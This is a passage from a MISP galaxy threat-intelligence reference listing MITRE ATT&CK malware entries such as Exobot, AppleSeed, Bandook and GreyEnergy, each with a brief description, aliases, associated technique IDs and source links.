- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532" with estimative-language:likelihood-probability="almost-certain"

Table 5479. Table References

Links
https://attack.mitre.org/software/S0422
https://cofense.com/infostealer-keylogger-ransomware-one-anubis-targets-250-android-applications/

Exobot - S0522

[Exobot](https://attack.mitre.org/software/S0522) is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.(Citation: Threat Fabric Exobot)

The tag is: *misp-galaxy:mitre-malware="Exobot - S0522"*

Exobot - S0522 is also known as:

- Exobot
- Marcher

View relationships graph

Exobot - S0522 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy Through Victim - T1604" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5480. Table References

Links
https://attack.mitre.org/software/S0522

https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html

AppleSeed - S0622

[AppleSeed](https://attack.mitre.org/software/S0622) is a backdoor that has been used by [Kimsuky](https://attack.mitre.org/groups/G0094) to target South Korean government, academic, and commercial targets since at least 2021.(Citation: Malwarebytes Kimsuky June 2021)

The tag is: *misp-galaxy:mitre-malware="AppleSeed - S0622"*

AppleSeed - S0622 is also known as:

- AppleSeed

View relationships graph

AppleSeed - S0622 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5481. Table References

Links
https://attack.mitre.org/software/S0622
https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/

NDiskMonitor - S0272

[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)

The tag is: *misp-galaxy:mitre-malware="NDiskMonitor - S0272"*

NDiskMonitor - S0272 is also known as:

- NDiskMonitor

View relationships graph

NDiskMonitor - S0272 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5482. Table References

Links
https://attack.mitre.org/software/S0272
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf

NanHaiShu - S0228

[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)

The tag is: *misp-galaxy:mitre-malware="NanHaiShu - S0228"*

NanHaiShu - S0228 is also known as:

- NanHaiShu

View relationships graph

NanHaiShu - S0228 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="NanHaiShu" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5483. Table References

Links
https://attack.mitre.org/software/S0228
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets

MacSpy - S0282

[MacSpy](https://attack.mitre.org/software/S0282) is a malware-as-a-service offered on the darkweb (Citation: objsee mac malware 2017).

The tag is: *misp-galaxy:mitre-malware="MacSpy - S0282"*

MacSpy - S0282 is also known as:

- MacSpy

View relationships graph

MacSpy - S0282 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5484. Table References

Links
https://attack.mitre.org/software/S0282
https://objective-see.com/blog/blog_0x25.html

AndroRAT - S0292

[AndroRAT](https://attack.mitre.org/software/S0292) is malware that allows a third party to control the device and collect information. (Citation: Lookout-EnterpriseApps)

The tag is: *misp-galaxy:mitre-malware="AndroRAT - S0292"*

AndroRAT - S0292 is also known as:

- AndroRAT

View relationships graph

AndroRAT - S0292 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="AndroRAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5485. Table References

Links
https://attack.mitre.org/software/S0292
https://blog.lookout.com/blog/2016/05/25/spoofed-apps/

Orz - S0229

[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)

The tag is: *misp-galaxy:mitre-malware="Orz - S0229"*

Orz - S0229 is also known as:

- Orz
- AIRBREAK

View relationships graph

Orz - S0229 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="AIRBREAK" with estimative-language:likelihood-probability="likely"

Table 5486. Table References

Links
https://attack.mitre.org/software/S0229
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets

Charger - S0323

[Charger](https://attack.mitre.org/software/S0323) is Android malware that steals steals contacts and SMS messages from the user’s device. It can also lock the device and demand ransom payment if it receives admin permissions. (Citation: CheckPoint-Charger)

The tag is: *misp-galaxy:mitre-malware="Charger - S0323"*

Charger - S0323 is also known as:

- Charger

View relationships graph

Charger - S0323 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Charger" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

Table 5487. Table References

Links
http://blog.checkpoint.com/2017/01/24/charger-malware/
https://attack.mitre.org/software/S0323

MURKYTOP - S0233

[MURKYTOP](https://attack.mitre.org/software/S0233) is a reconnaissance tool used by [Leviathan](https://attack.mitre.org/groups/G0065). (Citation: FireEye Periscope March 2018)

The tag is: *misp-galaxy:mitre-malware="MURKYTOP - S0233"*

MURKYTOP - S0233 is also known as:

- MURKYTOP

View relationships graph

MURKYTOP - S0233 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="At - T1053.002" with estimative-language:likelihood-probability="almost-certain"

Table 5488. Table References

Links
https://attack.mitre.org/software/S0233
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Bread - S0432

[Bread](https://attack.mitre.org/software/S0432) was a large-scale billing fraud malware family known for employing many different cloaking and obfuscation techniques in an attempt to continuously evade Google Play Store's malware detection. 1,700 unique Bread apps were detected and removed from the Google Play Store before being downloaded by users.(Citation: Google Bread)

The tag is: *misp-galaxy:mitre-malware="Bread - S0432"*

Bread - S0432 is also known as:

- Bread
- Joker

View relationships graph

Bread - S0432 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native Code - T1575" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Manipulate App Store Rankings or Ratings - T1452" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Carrier Billing Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5489. Table References

Links
https://attack.mitre.org/software/S0432
https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html

Bandook - S0234

[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. [Bandook](https://attack.mitre.org/software/S0234) has been used by [Dark Caracal](https://attack.mitre.org/groups/G0070), as well as in a separate campaign referred to as "Operation Manul".(Citation: EFF Manul Aug 2016)(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020)

The tag is: *misp-galaxy:mitre-malware="Bandook - S0234"*

Bandook - S0234 is also known as:

- Bandook

View relationships graph

Bandook - S0234 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1055.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5490. Table References

Links
https://attack.mitre.org/software/S0234
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf
https://research.checkpoint.com/2020/bandook-signed-delivered/
https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf

DealersChoice - S0243

[DealersChoice](https://attack.mitre.org/software/S0243) is a Flash exploitation framework used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: Sofacy DealersChoice)

The tag is: *misp-galaxy:mitre-malware="DealersChoice - S0243"*

DealersChoice - S0243 is also known as:

- DealersChoice

View relationships graph

DealersChoice - S0243 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 5491. Table References

Links
https://attack.mitre.org/software/S0243
https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/

SpyDealer - S0324

[SpyDealer](https://attack.mitre.org/software/S0324) is Android malware that exfiltrates sensitive data from Android devices. (Citation: PaloAlto-SpyDealer)

The tag is: *misp-galaxy:mitre-malware="SpyDealer - S0324"*

SpyDealer - S0324 is also known as:

- SpyDealer

View relationships graph

SpyDealer - S0324 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5492. Table References

Links
https://attack.mitre.org/software/S0324
https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/

GreyEnergy - S0342

[GreyEnergy](https://attack.mitre.org/software/S0342) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://attack.mitre.org/software/S0342) shares similarities with the [BlackEnergy](https://attack.mitre.org/software/S0089) malware and is thought to be the successor of it.(Citation: ESET GreyEnergy Oct 2018)

The tag is: *misp-galaxy:mitre-malware="GreyEnergy - S0342"*

GreyEnergy - S0342 is also known as:

- GreyEnergy

View relationships graph

GreyEnergy - S0342 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Portable Executable Injection - T1055.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5493. Table References

Links
https://attack.mitre.org/software/S0342
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf

Ginp - S0423

[Ginp](https://attack.mitre.org/software/S0423) is an Android banking trojan that has been used to target Spanish banks. Some of the code was taken directly from [Anubis](https://attack.mitre.org/software/S0422).(Citation: ThreatFabric Ginp)

The tag is: *misp-galaxy:mitre-malware="Ginp - S0423"*

Ginp - S0423 is also known as:

- Ginp

View relationships graph

Ginp - S0423 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
